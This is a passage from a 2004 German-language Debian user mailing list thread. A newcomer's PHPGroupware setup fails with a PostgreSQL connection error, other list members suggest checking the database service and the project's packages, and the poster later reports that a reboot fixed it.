http://groups.google.de/groups?q=class.db_pgsql.inc.php+on+line+485hl=delr=ie=UTF-8selm=24zxG-2F0-31%40gated-at.bofh.itrnum=1 


Gruß - Harald

Du könntest dich auf entsprechender Website umsehen, die haben u.a. 
eigene debs und 'ne Mailingliste.

http://lists.gnu.org/mailman/listinfo/phpgroupware-developers
http://debs.phpgroupware.org/
Die debs weichen aber von den originalen etwas ab, da bestimmte 
Einstellungen in den Konfigurationsdateien vorgenommen werden müssen. 
Also gut überlegen, ob du wichtige Einstellungen für bestehende Skripte 
brauchst und evtl. mit lokalen configs arbeiten.

Gruss,
Gerd
Hallo Gerd,
vielen Dank für Deine Tips, aber ich bin auch ohne weitergekommen. 
Vorhin habe ich den Server neu booten müssen und nach dem Reboot hatte 
ich keine Problem mehr mit PHPGroupware. Ich konnte sofort damit 
arbeiten, auch remote.

Das war wie bei Windows: Nach einem Reboot funktionierts. Frag? nicht 
warum, es geht jetzt einfach.

Sehr seltsam.
Tschüß - Harald
--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)


Postgresql bricht bei der Konfiguration mit Fehlermeldung ab

2004-07-02 Thread Harald Tobias
Moin,
als Debian-Neuling bin ich heute auf ein Problem gestoßen, bei dem mir
vielleicht jemand helfen kann. Beim Setup via Browser (Mozilla) werde
ich aufgefordert, die Datenbank phpgroupware anzulegen. Dieses versuche
ich per Button-Betätigung. Dabei erhalte ich im Browserfenster die
Fehlermeldung
**
Database error: Link-ID == false, connect failed
PostgreSQL Error: 1 ()
Fatal error: Call to a member function on a non-object in
/usr/share/phpgroupware/phpgwapi/inc/class.db_pgsql.inc.php on line 485
**
Beim googlen stieß ich auf den gleichen Fehler, der vom Helfenden mit
dem Satz schloß:
The fix is of course to add one more addslashes to
phpgroupware/wiki/setup/default_records.php.
Link:
http://groups.google.de/groups?q=class.db_pgsql.inc.php+on+line+485hl=delr=ie=UTF-8selm=24zxG-2F0-31%40gated-at.bofh.itrnum=1
Falls irgendwo in die Datei default_records.php etwas verändert werden
muß, so kann ich das natürlich tun. Ich weiß nur nicht, was ich tun kann.
Im Grunde geht es hier um eine PHPGroupware-Installation, bei der ich
lieber PostgrSQL als MySQL verwenden möchte.
Mein System:
Debian Sarge (DVD vom Linux-Tag) mit Kernel 2.6
Ich bin für jede Hilfe dankbar.
Tschüß und schönen Tag noch.
Gruß - Harald
--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)


Re: Postgresql bricht bei der Konfiguration mit Fehlermeldung ab

2004-07-02 Thread Harald Tobias
Torsten Schneider schrieb:
On Fri, Jul 02, 2004 at 11:19:34AM +0200, Harald Tobias wrote:

Database error: Link-ID == false, connect failed
PostgreSQL Error: 1 ()

Ist denn postgres überhaupt installiert und läuft? Postgres lauscht auf
Port 5432/tcp.
Hallo Torsten,
vielen Dank für Deinen Tip. PostgreSQL ist installiert und läuft auch. 
Mit Webmin kann ich DBs anlegen, User verwalten etc. Daran kann es nicht 
liegen.

Was kann  es damit auf sich haben:
The fix is of course to add one more addslashes to
phpgroupware/wiki/setup/default_records.php.
Link:
http://groups.google.de/groups?q=class.db_pgsql.inc.php+on+line+485hl=delr=ie=UTF-8selm=24zxG-2F0-31%40gated-at.bofh.itrnum=1
Gruß - Harald
--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)